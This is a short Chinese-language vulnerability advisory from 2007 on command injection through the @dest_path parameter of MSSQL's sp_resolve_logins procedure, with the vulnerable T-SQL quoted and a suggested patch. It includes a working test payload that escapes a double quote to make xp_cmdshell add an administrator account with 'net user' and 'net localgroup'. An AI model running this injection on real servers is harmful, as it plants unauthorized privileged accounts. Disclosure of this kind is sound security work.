Infos: MSSQL自身存储过程的一个注入
Author: 疯子[BCT]
Date: 10/11/2007
我看到MSSQL的存储过程中，有模有样的在过滤。 然后我就去读读他们的存储过程。就找到了一个注入而已。
疯子如是说。
漏洞资料如下：
master..sp_resolve_logins存储过程中，对@dest_path参数过滤不严，导致xp_cmdshell注入。
分析：
SELECT @dest_path = RTRIM(LTRIM(@dest_path))
-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END
master..sp_resolve_logins存储过程 在这一段，经过一定的判断，对 @dest_path 进行了一定的过滤。
但是没有过滤"（双引号）导致了 xp_cmdshell执行任意SQL语句
测试代码：
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
执行上述MSSQL语句，成功添加了一个名为admina的系统帐号
但是此存储过程代码中经过判断，需要系统systemadmin权限的帐号。
疯子提供了一个给其打补丁的方法：
用函数fn_escapecmdshellsymbolsremovequotes把@dest_path过滤就OK了。如：
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ，这样就不会产生注入了。
